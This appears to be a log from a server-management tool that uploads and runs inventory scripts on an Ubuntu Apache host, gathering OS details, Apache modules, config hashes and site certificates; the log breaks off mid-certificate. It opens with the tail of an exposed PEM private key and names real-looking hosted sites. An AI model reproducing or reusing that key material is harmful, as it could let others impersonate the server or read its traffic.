j/skizEXmBy4MgcK7AKJ089+lAq/c3oknIrSf2bfrZ8fkFkmxT/JI7ryxDdzjY3e
/uSydBxaeqFIMnVTckwliL5nUJiuYrtLdSr08rvkzaFrThP3go6jC4y7zqCE3Pim
0dsFhS73ese1ELQWmt655z7P4DkZpYmL9ZH1P/rWsS/z3YoLiq1ziatRBJhZOYrn
WCe1zp08+vZWgp30GbZ//6yMmgGMStBFgTo+LQe6WwJKr1LzLuaupMZjXdvlItUb
MB5sa9rzAgMBAAECggEBAI5c2ZKEwU9CEcsvrr6uFu/eOEMhdhBZ/WpsvDxVMgGu
eBShw7p36W0YLB/RrH3YPnI50vsAESvJCohct4MukuUwuu+fTeP9SpNku9RmtuYW
6ht6QAPUP4XyNdxtixkUc2oSqLzFwz24cl+r7J5nddFp/sfKdwHrC4C8rlpir7+q
tP13Cav1D8yhRNfxP1jieS1MCE6+a+ykMYpjvqy0K/ntAa7nqYSL4oZx3OvigGgc
boPa+5X9IRViphCnpkn+pRUVZKSXNmQlqNOrul1G74cHMVoQxRyXNWjsAWVQbHo1
k4wEe+USiDDI6nbDq8w8m6zNU23H9vODqpMe0a+tkkECgYEA/GuH/PfTARH/UxBd
V6wE/OrFdAV1IXdj3sUfH4rg+LnxRkVjxc8lylpnFXZHB+XYpvUH3fbTQj7eX2LR
7MZLZZAWQphOIBbYsFK6hhmiyDVmkF+XsSM6UYrPcnQu4Bd4BTcBjWwm50rWOGMR
x078NqgpiyiP55rPUagZuAA0VIsCgYEA8+ZrWdYsjyEjO9g/Xo3VjgavDog4bszA
xirvMe87w7NvTGkKp56nyhwqb7uGlQkP6OVc7t+eHHrD04cBEEKnhMhGSh4EBgB4
k3cM3t1vqR9lXGABp/hbTZ/K/SRPdRwE01V/6cgH4wUrBqq8VLcRPxL1mDksC7Sm
/EPbzI2IGDkCgYEA+f1dXvHqLeMvJYrNhyi8f+fbyj4ldRGS/WvomQqoKG2vQNM0
LxIq8S97bEwJqQ6/9Qoz0mbDb5ZoEbwDACabQWjkQuwoY6t8y5QDWxBEoVgRzeZ+
i1bCSUPalBXw3ssfeLqzdOap2OPLKWkkkGnvbAo7qrBvZQdzUAHWBt9c9GUCgYEA
7+CHZGvIl1y4Enu0l4JXrr/UHC7Nkeu/DSfc6Peph+hKZpRI7mKUE6tv8UQ2MQ4g
n6Y1qJo2Hzx+rOPyn9NufqGav/qVanG8JQzJk8elsmg2gIvMFS+mXMn0EtRLcZqF
BHTqwTsCxrymfIAfihIi3C4Bbh2MvFaIhUMYQi5Q08ECgYEA1qD+RxVrD9RgCAOE
9UT7mv80imvbXT1m4iqZnXiN1NOgRYA9hPDB/82uyOhjOWhoNqaZdMLJhutYCOk6
H6gMiS1TkLF2wKaVQLEgD/Q2j5FYS7GNHWzZHAan5tSRIUpRTeD+EfL0cXmXSW26
NdsqEFMXH0Z5/VvOUgJebvJo+8I=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-12-23 20:30:55: Establishing a remote connection
2025-12-23 20:31:03: Establishing a remote connection
2025-12-23 20:31:03:
PUT: /tmp/pkp166264
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
show_hostname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
hostname >> $temp_file
echo >> $temp_file
}
show_arc() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -m >> $temp_file
echo >> $temp_file
}
show_uname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -r -s >> $temp_file
echo >> $temp_file
}
if [ -f /etc/centos-release ]; then
show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
show_file /proc/swaps
fi
show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'
gzip -cn9 $temp_file
rm $temp_file
2025-12-23 20:31:03:
chmod 755 /tmp/pkp166264; /tmp/pkp166264; rm /tmp/pkp166264
2025-12-23 20:31:04:
PUT: /tmp/pkp706334
#!/bin/bash
# get service version
apache_output() {
sub_file=$(mktemp)
script -q -c "$1 -V" $sub_file
cat $sub_file
rm $sub_file
}
apache_output2() {
$1 -V
}
apachectl_output() {
temp_file=$(mktemp)
apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
pid=`cat $file`;
cat $temp_file
rm $temp_file
# also get user/group
echo pid: $pid
if [ -d "/etc/apache2/sites-available" ]; then
echo available=sites-available
elif [ -d "/etc/apache2/hosts.d" ]; then
echo available=hosts.d
elif [ -d "/etc/apache2/conf.d" ]; then
echo available=conf.d
fi
echo [ps]
ps up $pid
}
apachectl_enabled() {
temp_file=$(mktemp)
apachectl -t -D DUMP_MODULES > $temp_file 2>&1
echo [modules]
cat $temp_file
rm $temp_file
}
if [[ "$OSTYPE" == "darwin"* ]]; then
echo [apache2]
apache_output2 /usr/sbin/httpd
elif [ -e "/usr/sbin/httpd" ]; then
echo [httpd]
apache_output /usr/sbin/httpd
if [ -d "/etc/httpd/conf.d" ]; then
echo available=conf.d
fi
fi
if [ -e "/usr/sbin/apache2" ]; then
echo [apache2]
source /etc/apache2/envvars
apache_output2 /usr/sbin/apache2
apachectl_output
apachectl_enabled
fi
2025-12-23 20:31:04:
chmod 755 /tmp/pkp706334; /tmp/pkp706334; rm /tmp/pkp706334
[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built: 2025-08-11T11:10:09
Server's Module Magic Number: 20120211:129
Server loaded: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture: 64-bit
Server MPM: prefork
threaded: no
forked: yes (variable process count)
Server compiled with....
-D APR_HAS_SENDFILE
-D APR_HAS_MMAP
-D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
-D APR_USE_PROC_PTHREAD_SERIALIZE
-D APR_USE_PTHREAD_SERIALIZE
-D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
-D APR_HAS_OTHER_CHILD
-D AP_HAVE_RELIABLE_PIPED_LOGS
-D DYNAMIC_MODULE_LIMIT=256
-D HTTPD_ROOT="/etc/apache2"
-D SUEXEC_BIN="/usr/lib/apache2/suexec"
-D DEFAULT_PIDLOG="/var/run/apache2.pid"
-D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
-D DEFAULT_ERRORLOG="logs/error_log"
-D AP_TYPES_CONFIG_FILE="mime.types"
-D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 1725
available=sites-available
[ps]
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1725 0.0 0.3 225896 28944 ? Ss 15:25 0:00 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
core_module (static)
so_module (static)
watchdog_module (static)
http_module (static)
log_config_module (static)
logio_module (static)
version_module (static)
unixd_module (static)
access_compat_module (shared)
alias_module (shared)
auth_basic_module (shared)
authn_core_module (shared)
authn_file_module (shared)
authz_core_module (shared)
authz_host_module (shared)
authz_user_module (shared)
autoindex_module (shared)
deflate_module (shared)
dir_module (shared)
env_module (shared)
filter_module (shared)
mime_module (shared)
mpm_prefork_module (shared)
negotiation_module (shared)
php_module (shared)
reqtimeout_module (shared)
rewrite_module (shared)
setenvif_module (shared)
socache_shmcb_module (shared)
ssl_module (shared)
status_module (shared)
2025-12-23 20:31:05:
SERVER INFO (php_model): array (
'debian' => 0,
'redhat' => 0,
'name' => '',
'arch' => '',
'mac' => 0,
'distro' => '',
'web' =>
array (
'apache2' =>
array (
'conf' => 'apache2.conf',
'config' => '/etc/apache2',
'user' => 'www-data',
'group' => 'www-data',
'available' => 'sites-available',
'running' => 1,
),
'modules' =>
array (
0 => 'core_module',
1 => 'so_module',
2 => 'watchdog_module',
3 => 'http_module',
4 => 'log_config_module',
5 => 'logio_module',
6 => 'version_module',
7 => 'unixd_module',
8 => 'access_compat_module',
9 => 'alias_module',
10 => 'auth_basic_module',
11 => 'authn_core_module',
12 => 'authn_file_module',
13 => 'authz_core_module',
14 => 'authz_host_module',
15 => 'authz_user_module',
16 => 'autoindex_module',
17 => 'deflate_module',
18 => 'dir_module',
19 => 'env_module',
20 => 'filter_module',
21 => 'mime_module',
22 => 'mpm_prefork_module',
23 => 'negotiation_module',
24 => 'php_module',
25 => 'reqtimeout_module',
26 => 'rewrite_module',
27 => 'setenvif_module',
28 => 'socache_shmcb_module',
29 => 'ssl_module',
30 => 'status_module',
),
),
)
2025-12-23 20:31:05:
PUT: /tmp/pkp578388
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
# show available php versions
gzip -cn9 $temp_file
rm $temp_file
2025-12-23 20:31:05:
chmod 755 /tmp/pkp578388; /tmp/pkp578388; rm /tmp/pkp578388
(gzipped output)
2025-12-23 20:31:06:
PUT: /tmp/pkp496047
#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def collectCfgFiles(filename):
config = []
f = open(filename, 'r')
file = f.readlines()
for v in file:
v = v.rstrip()
if v != '' and v[0] != '#':
p = v.find('=')
if p > -1:
key = v[:p].strip()
value=v[p+1:].strip()
if key == 'cfg_file':
config.append(value)
f.close()
return config
def generate_hash(filename, type = 'MD5'):
digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
payload = type + '(' + filename + ')= ' + digest + "\n"
gz.write(payload.encode('cp437'))
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/check*')
for filename in filelist:
generate_hash(filename, 'bin')
return
try:
try:
filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
for file in filelist:
generate_hash(file)
except:
pass
scan_folder('/usr/local/nagios/libexec')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-23 20:31:06:
chmod 755 /tmp/pkp496047; /tmp/pkp496047; rm /tmp/pkp496047
(gzipped output)
2025-12-23 20:31:07:
PUT: /tmp/pkp973097
#!/bin/bash
install=
if [ -f "/usr/bin/yum" ]; then
if [ ! -f "/usr/bin/openssl" ]; then
install="$install openssl"
fi
rpm -qi mod_ssl > /dev/null 2>&1
retVal=$?
if [ $retVal -ne 0 ]; then
install="$install mod_ssl"
fi
if [ ! -z $install ]; then
yum -y install $install
systemctl restart apache2
echo status=restarted
else
echo status=ok
fi
elif [ -f "/usr/bin/apt-get" ]; then
if [ ! -f "/usr/bin/openssl" ]; then
apt-get update
apt-get -y install openssl
fi
if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
a2enmod -q ssl
systemctl restart apache2
fi
echo status=ok
fi
2025-12-23 20:31:07:
chmod 755 /tmp/pkp973097; /tmp/pkp973097; rm /tmp/pkp973097
status=ok
2025-12-23 20:31:08:
PUT: /tmp/pkp498885
#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def generate_hash_certificate(content, folder):
file = content.split("\n")
for v in file:
v = v.strip()
if v != '' and v[0] != '#':
match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
if match is not None:
filename = match.group(1)
filename = normalize_path(folder, filename, True)
generate_hash(filename, folder)
def normalize_path(basepath, relativepath, isFile):
if relativepath[:1] == '/':
return relativepath
if isFile:
basename = os.path.basename(relativepath)
relativepath = os.path.dirname(relativepath)
else:
basename = ''
basepath = basepath.split('/')
relativepath = relativepath.split('/')
for element in relativepath:
if element == '..':
basepath.pop()
elif element != '.' and element != '':
basepath.append(element)
basepath = '/'.join(basepath)
if basename != '':
basepath += '/' + basename
return basepath
def generate_hash(filename, folder):
if os.path.islink(filename):
target = os.readlink(filename)
target = normalize_path(folder, target, True)
payload = 'link(' + filename + ')= ' + target + "\n"
gz.write(payload.encode('cp437'))
return
content = open(filename).read()
filehash = hashlib.md5()
filehash.update(content.encode('cp437'))
payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
gz.write(payload.encode('cp437'))
lower_content = content.lower()
if lower_content.find('sslcertificatefile') > -1:
generate_hash_certificate(content, folder)
return
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/*.conf')
for filename in filelist:
generate_hash(filename, folder)
return
try:
APACHE_ROOT = '/etc/apache2'
scan_folder(APACHE_ROOT)
scan_folder(APACHE_ROOT + '/conf.d')
scan_folder(APACHE_ROOT + '/conf.modules.d')
scan_folder(APACHE_ROOT + '/sites-available')
scan_folder(APACHE_ROOT + '/sites-enabled')
scan_folder(APACHE_ROOT + '/hosts.d')
finally:
gz.close()
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-23 20:31:08:
chmod 755 /tmp/pkp498885; /tmp/pkp498885; rm /tmp/pkp498885
(gzipped output)
MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/pjy_desktop_us.conf)= 0437bc933db2ebb1dffb132151d784c7
MD5(/etc/ssl/certs/4156a23dadb55e7d1d1138ffce1ca22a.crt)= 93a1976f48632b7620294e371188dcdd
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= 6fb555fa2b39e6998378eb892ca8f3a3
MD5(/etc/apache2/sites-available/cityelectric_www_site.conf)= 0f6f5444ca90e2fb6bd046f20cb6b3e4
MD5(/etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.crt)= e6c44632d87b0d9f6c49ff455b25d0cd
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/pjy_desktop_us.conf)= /etc/apache2/sites-available/pjy_desktop_us.conf
link(/etc/apache2/sites-enabled/cityelectric_www_site.conf)= /etc/apache2/sites-available/cityelectric_www_site.conf
2025-12-23 20:31:09:
PUT: /tmp/pkp980680
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/ports.conf')
show_file('/etc/apache2/apache2.conf')
show_file('/etc/apache2/sites-available/000-default.conf')
show_file('/etc/ssl/certs/4156a23dadb55e7d1d1138ffce1ca22a.crt')
show_file('/etc/apache2/sites-available/default-ssl.conf')
show_file('/etc/apache2/sites-available/cityelectric_www_site.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-23 20:31:09:
chmod 755 /tmp/pkp980680; /tmp/pkp980680; rm /tmp/pkp980680
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/ports.conf 274
# If you just change the port or add more ports here, you will likely also
# have to change the VirtualHost statement in
# /etc/apache2/sites-enabled/000-default.conf
Listen 80
<IfModule ssl_module>
Listen 443
</IfModule>
<IfModule mod_gnutls.c>
Listen 443
</IfModule>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/apache2.conf 7178
# This is the main Apache server configuration file. It contains the
# configuration directives that give the server its instructions.
# See http://httpd.apache.org/docs/2.4/ for detailed information about
# the directives and /usr/share/doc/apache2/README.Debian about Debian specific
# hints.
#
#
# Summary of how the Apache 2 configuration works in Debian:
# The Apache 2 web server configuration in Debian is quite different to
# upstream's suggested way to configure the web server. This is because Debian's
# default Apache2 installation attempts to make adding and removing modules,
# virtual hosts, and extra configuration directives as flexible as possible, in
# order to make automating the changes and administering the server as easy as
# possible.
# It is split into several files forming the configuration hierarchy outlined
# below, all located in the /etc/apache2/ directory:
#
# /etc/apache2/
# |-- apache2.conf
# | `-- ports.conf
# |-- mods-enabled
# | |-- *.load
# | `-- *.conf
# |-- conf-enabled
# | `-- *.conf
# `-- sites-enabled
# `-- *.conf
#
#
# * apache2.conf is the main configuration file (this file). It puts the pieces
# together by including all remaining configuration files when starting up the
# web server.
#
# * ports.conf is always included from the main configuration file. It is
# supposed to determine listening ports for incoming connections which can be
# customized anytime.
#
# * Configuration files in the mods-enabled/, conf-enabled/ and sites-enabled/
# directories contain particular configuration snippets which manage modules,
# global configuration fragments, or virtual host configurations,
# respectively.
#
# They are activated by symlinking available configuration files from their
# respective *-available/ counterparts. These should be managed by using our
# helpers a2enmod/a2dismod, a2ensite/a2dissite and a2enconf/a2disconf. See
# their respective man pages for detailed information.
#
# * The binary is called apache2. Due to the use of environment variables, in
# the default configuration, apache2 needs to be started/stopped with
# /etc/init.d/apache2 or apache2ctl. Calling /usr/bin/apache2 directly will not
# work with the default configuration.
# Global configuration
#
#
# ServerRoot: The top of the directory tree under which the server's
# configuration, error, and log files are kept.
#
# NOTE! If you intend to place this on an NFS (or otherwise network)
# mounted filesystem then please read the Mutex documentation (available
# at <URL:http://httpd.apache.org/docs/2.4/mod/core.html#mutex>);
# you will save yourself a lot of trouble.
#
# Do NOT add a slash at the end of the directory path.
#
#ServerRoot "/etc/apache2"
#
# The accept serialization lock file MUST BE STORED ON A LOCAL DISK.
#
#Mutex file:${APACHE_LOCK_DIR} default
#
# The directory where shm and other runtime files will be stored.
#
DefaultRuntimeDir ${APACHE_RUN_DIR}
#
# PidFile: The file in which the server should record its process
# identification number when it starts.
# This needs to be set in /etc/apache2/envvars
#
PidFile ${APACHE_PID_FILE}
#
# Timeout: The number of seconds before receives and sends time out.
#
Timeout 300
#
# KeepAlive: Whether or not to allow persistent connections (more than
# one request per connection). Set to "Off" to deactivate.
#
KeepAlive On
#
# MaxKeepAliveRequests: The maximum number of requests to allow
# during a persistent connection. Set to 0 to allow an unlimited amount.
# We recommend you leave this number high, for maximum performance.
#
MaxKeepAliveRequests 100
#
# KeepAliveTimeout: Number of seconds to wait for the next request from the
# same client on the same connection.
#
KeepAliveTimeout 5
# These need to be set in /etc/apache2/envvars
User ${APACHE_RUN_USER}
Group ${APACHE_RUN_GROUP}
#
# HostnameLookups: Log the names of clients or just their IP addresses
# e.g., www.apache.org (on) or 204.62.129.132 (off).
# The default is off because it'd be overall better for the net if people
# had to knowingly turn this feature on, since enabling it means that
# each client request will result in AT LEAST one lookup request to the
# nameserver.
#
HostnameLookups Off
# ErrorLog: The location of the error log file.
# If you do not specify an ErrorLog directive within a <VirtualHost>
# container, error messages relating to that virtual host will be
# logged here. If you *do* define an error logfile for a <VirtualHost>
# container, that host's errors will be logged there and not here.
#
ErrorLog ${APACHE_LOG_DIR}/error.log
#
# LogLevel: Control the severity of messages logged to the error_log.
# Available values: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the log level for particular modules, e.g.
# "LogLevel info ssl:warn"
#
LogLevel warn
# Include module configuration:
IncludeOptional mods-enabled/*.load
IncludeOptional mods-enabled/*.conf
# Include list of ports to listen on
Include ports.conf
# Sets the default security model of the Apache2 HTTPD server. It does
# not allow access to the root filesystem outside of /usr/share and /var/www.
# The former is used by web applications packaged in Debian,
# the latter may be used for local directories served by the web server. If
# your system is serving content from a sub-directory in /srv you must allow
# access here, or in any related virtual host.
<Directory />
Options FollowSymLinks
AllowOverride None
Require all denied
</Directory>
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>
<Directory /var/www/>
Options Indexes FollowSymLinks
AllowOverride None
Require all granted
</Directory>
#<Directory /srv/>
# Options Indexes FollowSymLinks
# AllowOverride None
# Require all granted
#</Directory>
# AccessFileName: The name of the file to look for in each directory
# for additional configuration directives. See also the AllowOverride
# directive.
#
AccessFileName .htaccess
#
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
<FilesMatch "^\.ht">
Require all denied
</FilesMatch>
#
# The following directives define some format nicknames for use with
# a CustomLog directive.
#
# These deviate from the Common Log Format definitions in that they use %O
# (the actual bytes sent including headers) instead of %b (the size of the
# requested file), because the latter makes it impossible to detect partial
# requests.
#
# Note that the use of %{X-Forwarded-For}i instead of %h is not recommended.
# Use mod_remoteip instead.
#
LogFormat "%v:%p %h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" vhost_combined
LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined
LogFormat "%h %l %u %t \"%r\" %>s %O" common
LogFormat "%{Referer}i -> %U" referer
LogFormat "%{User-agent}i" agent
# Include of directories ignores editors' and dpkg's backup files,
# see README.Debian for details.
# Include generic snippets of statements
IncludeOptional conf-enabled/*.conf
# Include the virtual host configurations:
IncludeOptional sites-enabled/*.conf
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/000-default.conf 1286
<VirtualHost *:80>
# The ServerName directive sets the request scheme, hostname and port that
# the server uses to identify itself. This is used when creating
# redirection URLs. In the context of virtual hosts, the ServerName
# specifies what hostname must appear in the request's Host: header to
# match this virtual host. For the default virtual host (this file) this
# value is not decisive as it is used as a last resort host regardless.
# However, you must set it for any further virtual host explicitly.
#ServerName www.example.com
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the loglevel for particular
# modules, e.g.
#LogLevel info ssl:warn
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
# For most configuration files from conf-available/, which are
# enabled or disabled at a global level, it is possible to
# include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only
# after it has been globally disabled with "a2disconf".
#Include conf-available/serve-cgi-bin.conf
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/4156a23dadb55e7d1d1138ffce1ca22a.crt 5338
59:ae:74:2f:3b:97:b6:9b:34:7a:ef:c4:5a:5d:42:72
-----BEGIN CERTIFICATE-----
MIIE9TCCA92gAwIBAgISBaWoD3fJMRiDSkiHxDHseuF5MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDI3MDUwMTUyWhcNMjYwMTI1MDUwMTUxWjARMQ8wDQYDVQQD
EwZwankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDhQ6RfnI4G
TNDlI5m47yUAAKw+MS/HZkyC3udKmODwcJs6SuSsyci26/chmVAiMEFe/WkwxTZq
r99jfIYyE52DU5sahmIMAJ2M7nlFxcyEQZiQC9Uzw9l8/C8bYwxga3ROnNzxu/1B
DBByWdCPm+WiIFU3j+t38dbEixds2DUtkCeSRuqqZO3djYMKpHVCaXrN7noLYVcQ
uesaQhmpbLnC114f6qvUJ0YYyC6ScDhRhKoC68eReIXf0GD6bL1RncIKjlwV3H7O
yINJL/kY6RRVLPGMcbUofd8dFRvijVsKfqLEHrWpqqSuECDMPyKxYWdZYwyHVq/o
R3pw5OFiMpZxAgMBAAGjggIjMIICHzAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYw
FAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFEuC
41Et+PNj/z+HhoJssnJqPbIGMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg++tzp
DNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5pLmxl
bmNyLm9yZy8wGwYDVR0RBBQwEoIIKi5wankudXOCBnBqeS51czATBgNVHSAEDDAK
MAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8vcjEyLmMubGVuY3Iu
b3JnLzEyMi5jcmwwggEGBgorBgEEAdZ5AgQCBIH3BIH0APIAdwBJnJtp3h187Pw2
3s2HZKa4W68Kh4AZ0VVS++nrKd34wwAAAZokQN/rAAAEAwBIMEYCIQCXbia/RQGs
